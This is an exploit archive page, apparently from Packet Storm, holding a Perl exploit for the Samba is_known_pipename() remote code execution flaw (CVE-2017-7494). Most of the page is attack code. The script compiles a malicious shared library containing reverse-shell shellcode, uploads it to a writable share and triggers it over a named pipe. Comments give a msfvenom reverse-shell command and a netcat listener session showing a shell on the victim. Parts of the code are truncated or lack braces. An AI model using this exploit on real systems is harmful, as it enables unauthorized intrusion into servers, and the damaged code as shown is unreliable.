what you don't know can hurt you

Samba is_known_pipename() Code Execution

Samba is_known_pipename() Code Execution
Posted Jun 2, 2017
Authored by N_A, steelo

Samba versions 3.5.0 through 4.4.14, 4.5.10, and 4.6.4 is_known_pipename() remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2017-7494
MD5 | c2c66a5bb051e948f784722c97b5b28d

Samba is_known_pipename() Code Execution

Change Mirror Download
#!/usr/bin/perl -w

#Remote Samba is_known_pipename() ( 3.5.0 to 4.4.14, 4.5.10, and 4.6.4.) Exploit By N_A , N_A[at]tutanota.com

#The orginal bug was discovered by steelo <knownsteelo[at]gmail.com>

#Tested on Samba 4.5.8-Debian

#Requirments for this exploit to run:

#perl -MCPAN -e 'install Filesys::SmbClientParser'
#git clone https://github.com/CoreSecurity/impacket and then install the package

#How to use this exploit:

#This exploit loads a hacked library file into a vulnerable samba server and provides a reverse shell. ( you will need to swap the shellcode )
#A writable samba share is required or valid credentials to a samba share that allows write access to the share.
#You need to know the server side location path of the writable share. For example if the share with write access is called 'blah' then you will
#need to know the full server side path i.e '/home/billybobthornton/blah'
#That is all. This exploit creates a hacked library file and loads it into the remote writable samba share and then uses the DCE/RPC protocol to
#create a ncacn_np request to a named pipe ( the hacked library file ) and executes it.

#The exploit uses the impacket library files by CoreSecurity to send the DCE/RPC packet. I have tried playing with Perl's DCE::Perl::RPC and did
#not have much luck with this package. Its over 10 years old and i could not find any relevant documentation to aid me in creating a valid request
#that would trigger a named pipe request.

#If anyone knows an easier way to do this in Perl please contact me , even if its regarding wireshark captures of the DCE/RPC protocol.
#Email me on N_A[at]tutanota.com, thank you :)

#root@kali:~/exploits# perl NAsamba.pl -h -s anonymous -l /home/NA/anonymous
#[*]No Port Specified - Using Port 445 as default
#[*]No user specified - Using 'nobody' as default user
#[*]No password specified - Leaving password blank
#[*]Using Host: on port: 445
#[*]Username: nobody
#[*]Attacking Share: anonymous on Host: Port: 445
#[*]Creating Pure Evil
#[*]Evil File Created Successfully!
#Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.8-Debian]
#[*]Evil File transferred to Samba Server!
#[*]Triggering exploit
#[*]G0t r00t?

#A terminal with a netcat listener set up on port 443

#root@kali:~/exploits# nc -nlvp 443
#listening on [any] 443 ...
#connect to [] from (UNKNOWN) [] 36214
#sh -i;
#sh: 0: can't access tty; job control turned off
#$ id
#uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

#Greetz - Listen m0use i have been busy all week, didnt i tell i was working on stuff? Relax. R-E-L-A-X. Relaaaax.
#Greetz to the Wu-tang clan and all killabeez ;P

use POSIX;
use Filesys::SmbClientParser;
use strict;
use warnings;
use Getopt::Long qw(GetOptions);

#msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f c - change this to your own LHOST and LPORT to receive connection
#And then replace the resultant shellcode below:
#Note: Replace all double quotes " in the shellcode with single quotes ' before replacing shellcode.

my $shellcode = '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80'.

#These are our evil files
my $evil_header ="#ifndef evil_h__\n"."#define evil_h__\n"."extern int samba_init_module(void);\n".'#endif';
my $evil ="#include <stdio.h>\n".'int samba_init_module(void){ unsigned char shellcode[]='.'"'.$shellcode.'"'.";".'(*(void(*)()) shellcode)();return 0;}';

my $evil_header_file = 'evil.h';
my $evil_file = 'evil.c';

#creating evil library , libevil.so
sub create_evil()

open(my $fh, '>', $evil_file) or die "[*]Could not open evil.c";
print $fh $evil;
open($fh, '>', $evil_header_file) or die "[*]Could not open evil.h";
print $fh $evil_header;
close $fh;
system("gcc -c -Wall -Werror -fpic evil.c");
system("gcc -shared -o libevil.so evil.o");
print "[*]Evil File Created Successfully!\n";

sub usage()
print "\n\n-=[*]Remote Samba is_known_pipename() Root Exploit[*]=-\n\n";
print "\t\t-=By N_A=-\n\n";
print "[*]Usage: $0 --host hostname --port port --user user --password pass --share writable-share --location /server/side/path\n\n";
print "[*]$0 --host --port 445 --user nobody --password pass --share temp --location /home/blah/temp\n";
print "[*]$0 -h -p 139 -u admin -pa adminpass -s stuff -l /var/samba/stuff\n\n";
print "[*]Note: No username provided defaults to user name 'nobody'\n";
print "[*]Note: No port provided defaults to port '445'\n";
print "[*]Note: No password provided defaults to a blank password\n";

my $host; #host to attack
my $port; #port on host to attack , default is 445
my $user; #username on host to use, default is nobody
my $password; #password to use, default is left as blank
my $share; #path to the writable share to use
my $location; #this is the location on the server side of the share. We need this to access our libevil.so

GetOptions('host|h=s' => \$host, 'port|p=s' => \$port,'user|u=s' => \$user, 'password|pa=s' => \$password, 'share|s=s' => \$share, 'location|l=s' => \$location,) or die usage();





print "[*]No Port Specified - Using Port 445 as default\n";
$port = 445;

print "[*]No user specified - Using 'nobody' as default user\n";
$user = "nobody";

print "[*]No password specified - Leaving password blank\n";
$password = "";

print "[*]Writable Share missing\n";

my $smb = new Filesys::SmbClientParser
user => $user,
password => $password


print "[*]Using Host: $host on port: $port\n";
print "[*]Username: $user\n";
print "[*]Password: $password\n";
print "[*]Attacking Share: $share on Host: $host Port: $port\n";
print "[*]Creating Pure Evil\n";

$smb->Share($share); #Locating correct writable share

$smb->put("libevil.so"); #transferring libevil.so to the writeable share
print "[*]Evil File transferred to Samba Server!\n";
print "[*]Triggering exploit\n";
print "[*]G0t r00t?\n";

#All should be well at this point. All thats left is to trigger the exploit.
#A dirty hack below. There was not much documentation on DCE::Perl::RPC which is required to send requests to named pipes
#Using impacket from the command line, via system() call.

my $evil_lib = '/libevil.so';
my $stringbind = "python -c 'from impacket.dcerpc.v5 import transport; st=\"$host\";stt=\"$location/libevil.so\";s=r\"ncacn_np:%s[\\pipe%s]\" % (st,stt); rpctrans = transport.DCERPCTransportFactory(s); dce = rpctrans.get_dce_rpc(); dce.connect();'";

system("$stringbind"); #triggering exploit
Login or Register to add favorites

File Archive:

June 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    10 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    15 Files
  • 4
    Jun 4th
    25 Files
  • 5
    Jun 5th
    8 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By